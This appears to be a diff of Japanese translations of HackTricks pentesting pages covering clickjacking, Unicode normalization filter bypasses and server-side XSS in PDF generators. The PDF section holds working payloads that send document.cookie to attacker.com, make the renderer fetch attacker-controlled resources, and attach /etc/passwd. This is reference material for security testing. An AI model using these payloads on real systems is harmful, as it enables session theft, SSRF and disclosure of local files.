- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

View File

@ -4,11 +4,11 @@
## What is Clickjacking ## What is Clickjacking
クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。 クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙され**ます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。
### Prepopulate forms trick ### Prepopulate forms trick
時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーがSubmitボタンを押すようにクリックジャッキングペイロードを送信することがあります。 時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することがあります。
### Populate form with Drag\&Drop ### Populate form with Drag\&Drop
@ -58,7 +58,7 @@ left:210px;
<div class="secondClick">Click me next</div> <div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe> <iframe src="https://vulnerable.net/account"></iframe>
``` ```
### ドラッグ&ドロップ + クリックペイロード ### Drag\&Drop + Click ペイロード
```css ```css
<html> <html>
<head> <head>
@ -89,16 +89,18 @@ background: #F00;
``` ```
### XSS + Clickjacking ### XSS + Clickjacking
もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーを騙してボタン/リンクをクリックさせるためにそれを悪用することができます。\ もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\
例:\ 例:\
あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。\ あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。\
攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信され**、値が変更されると、**ユーザーはXSSを実行します**。 攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行します**。
### ダブルクリックジャッキング ### ダブルクリックジャッキング
最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、ダウンイベントとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。 最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、マウスダウンとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。
例はこのビデオで見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) このビデオで例を見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
コードの例は[このページ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)にあります。
> [!WARNING] > [!WARNING]
> この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**OAuthの権限を受け入れるプロンプトのように、1回のクリックで実行できる敏感なアクションを見つける必要があります**。 > この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**OAuthの権限を受け入れるプロンプトのように、1回のクリックで実行できる敏感なアクションを見つける必要があります**。
@ -111,13 +113,13 @@ background: #F00;
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。 - アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示可能にする。 - すべてのフレームを表示可能にする。
- 見えないフレームのクリックを防ぐ。 - 見えないフレームのクリックを防ぐ。
- 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。 - 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
ただし、これらのフレームバスターのスクリプトは回避される可能性があります: ただし、これらのフレームバスティングスクリプトは回避される可能性があります:
- **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。 - **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。
- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。 - **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。
```html ```html
<iframe <iframe
id="victim_website" id="victim_website"
@ -166,8 +168,8 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
#### `child-src` ディレクティブ #### `child-src` ディレクティブ
- CSPレベル2で導入され、ウェブワーカーとフレームの有効なソースを設定します。 - ウェブワーカーとフレームの有効なソースを設定するために CSP レベル 2 で導入されました
- frame-srcおよびworker-srcのフォールバックとして機能します。 - frame-src と worker-src のフォールバックとして機能します。
``` ```
Content-Security-Policy: child-src 'self' https://trusted-website.com; Content-Security-Policy: child-src 'self' https://trusted-website.com;
``` ```
@ -179,9 +181,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
- フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。 - フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
- 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。 - 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。
#### JavaScript フレームブレイキングスクリプト #### JavaScript フレームバスティングスクリプト
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレーム表示されるのを防ぐことができます。例: 完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
```javascript ```javascript
if (top !== self) { if (top !== self) {
top.location = self.location top.location = self.location

View File

@ -8,17 +8,17 @@
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています
1. **Canonical Equivalence**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは正準的に同等と見なされます。 1. **Canonical Equivalence**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは正同等と見なされます。
2. **Compatibility Equivalence**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。 2. **Compatibility Equivalence**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。
**Unicode正規化アルゴリズムは4つ**ありますNFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、正準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。 **Unicode正規化アルゴリズムは4つ**ありますNFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、正規および互換性の正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。
### Key Points on Unicode Encoding ### Key Points on Unicode Encoding
Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです
- **Code Points and Characters**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。 - **Code Points and Characters**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。
- **Bytes Representation**: コードポイントまたは文字は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字英語圏で一般的は1バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトが必要です。 - **Bytes Representation**: コードポイントまたは文字は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字英語圏で一般的は1バイトを使用して表されます。しかし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトを必要とします。
- **Encoding**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表され、他の文字には最大4バイトが使用されます。 - **Encoding**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表され、他の文字には最大4バイトが使用されます。
- **Processing Data**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。 - **Processing Data**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。
- **Variants of UTF**: UTF-8の他にも、UTF-16最小2バイト、最大4バイトを使用やUTF-32すべての文字に4バイトを使用などの他のエンコーディング標準があります。 - **Variants of UTF**: UTF-8の他にも、UTF-16最小2バイト、最大4バイトを使用やUTF-32すべての文字に4バイトを使用などの他のエンコーディング標準があります。
@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### **SQLインジェクションフィルターバイパス** ### **SQLインジェクションフィルターバイパス**
ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブは、セキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除**しますが、**その削除後**、**クエリの作成前**に、ユーザーの入力を **Unicode** を使用して **正規化**します。 ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブは、セキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除**しますが、その **削除後** と **クエリの作成前** に、ユーザーの入力を **Unicode** を使用して **正規化**します。
そのため、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます: その、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -81,7 +81,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### XSS (クロスサイトスクリプティング) ### XSS (クロスサイトスクリプティング)
次の文字のいずれかを使用して、ウェブアプリを欺き、XSSを悪用することができます 次のいずれかの文字を使用して、ウェブアプリを欺き、XSSを悪用することができます
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
@ -91,14 +91,24 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### ファジング正規表現 ### ファジング正規表現
バックエンドが**ユーザー入力を正規表現でチェックしている**場合、**入力**が**正規表現**のために**正規化**されているが、**使用される場所**は**正規化されていない**可能性があります。例えば、オープンリダイレクトやSSRFでは、正規表現が送信されたURLを**正規化**しているかもしれませんが、その後**そのままアクセス**しています。 バックエンドが**ユーザー入力を正規表現でチェックしている**場合、**入力**が**正規表現**のために**正規化**されているが、**使用される場所**のためには**正規化されていない**可能性があります。例えば、オープンリダイレクトやSSRFでは、正規表現が送信されたURLを**正規化**しているかもしれませんが、その後**そのままアクセス**しています。
ツール[**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*は、バックエンドをファジングするために**入力のバリエーションを生成**することを可能にします。詳細については、**github**とこの[**投稿**](https://0xacb.com/2022/11/21/recollapse/)を確認してください。 ツール[**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*は、バックエンドをファジングするために**入力のバリエーションを生成**することを可能にします。詳細については、**github**とこの[**投稿**](https://0xacb.com/2022/11/21/recollapse/)を確認してください。
## Unicodeオーバーフロー
この[ブログ](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)によると、バイトの最大値は255であり、サーバーが脆弱な場合、特定の予期しないASCII文字を生成するためにオーバーフローを作成できます。例えば、次の文字は`A`に変換されます:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## 参考文献 ## 参考文献
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,25 +4,25 @@
## サーバーサイドXSS動的PDF ## サーバーサイドXSS動的PDF
もしウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\ ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。 したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
注意してください、`<script></script>`タグは常に機能するわけではないので、JSを実行するために別の方法が必要です例えば、`<img`を悪用するなど)。\ `<script></script>`タグは常に機能するわけではないので、JSを実行するために別の方法が必要です例えば、`<img`を悪用するなど)。\
また、通常のエクスプロイトでは、作成されたPDFを**見る/ダウンロードすることができる**ので、JSを介して**書いたもの**(例えば、`document.write()`を使用)をすべて見ることができます。しかし、作成されたPDFを**見ることができない**場合、**情報を抽出するためにウェブリクエストを行う必要がある**でしょう(ブラインド)。 また、通常のエクスプロイトでは、作成されたPDFを**見る/ダウンロードすることができる**ため、**JSを介して書いたすべてのもの**(例えば`document.write()`を使用)を見ることができます。しかし、作成されたPDFを**見ることができない**場合、**情報を抽出するためにウェブリクエストを行う必要がある**でしょう(ブラインド)。
### 人気のPDF生成 ### 人気のPDF生成
- **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。 - **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。
- **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。 - **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。
- Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。 - Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能サポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。 - Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能サポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
- **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。 - **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。
## ペイロード ## ペイロード
### 発見 ### 発見
```html ```html
<!-- Basic discovery, Write somthing--> <!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" /> <img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script> <script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script> <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,6 +32,22 @@
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie"> <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script> <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com"> <link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
``` ```
### SVG ### SVG
@ -115,7 +131,7 @@ xhzeem.send();
```html ```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" /> <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
``` ```
### ボット遅延 ### ボット遅延
```html ```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait--> <!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script> <script>
@ -147,13 +163,13 @@ checkPort(i);
``` ```
### [SSRF](../ssrf-server-side-request-forgery/index.html) ### [SSRF](../ssrf-server-side-request-forgery/index.html)
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、非常に簡単にSSRFに変換できます。ですので、これを悪用してみてください(メタデータを読み取る?)。 この脆弱性は非常に簡単にSSRFに変換できますスクリプトが外部リソースを読み込むことができるため。だから、これを悪用してみてください(メタデータを読み取る?)。
### Attachments: PD4ML ### Attachments: PD4ML
**PD4ML**のようなPDF用のHTML 2 PDFエンジンがいくつかあり、**PDFの添付ファイルを指定する**ことができます。この機能を悪用して、**任意のローカルファイルをPDFに添付**することができます。\ いくつかのHTML 2 PDFエンジンは、**PDFの添付ファイルを指定する**ことを許可します。例えば、**PD4ML**のように。この機能を悪用して、**任意のローカルファイルをPDFに添付**できます。\
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\ 添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\
burpで**PDFレスポンスをキャプチャ**することも、PDF内に**クリアテキストで添付ファイルを表示**するはずです。 burpで**PDFレスポンスをキャプチャ**することも、**PDF内にクリアテキストで添付ファイルを表示**するはずです。
```html ```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html --> <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html> <html>
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c) - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}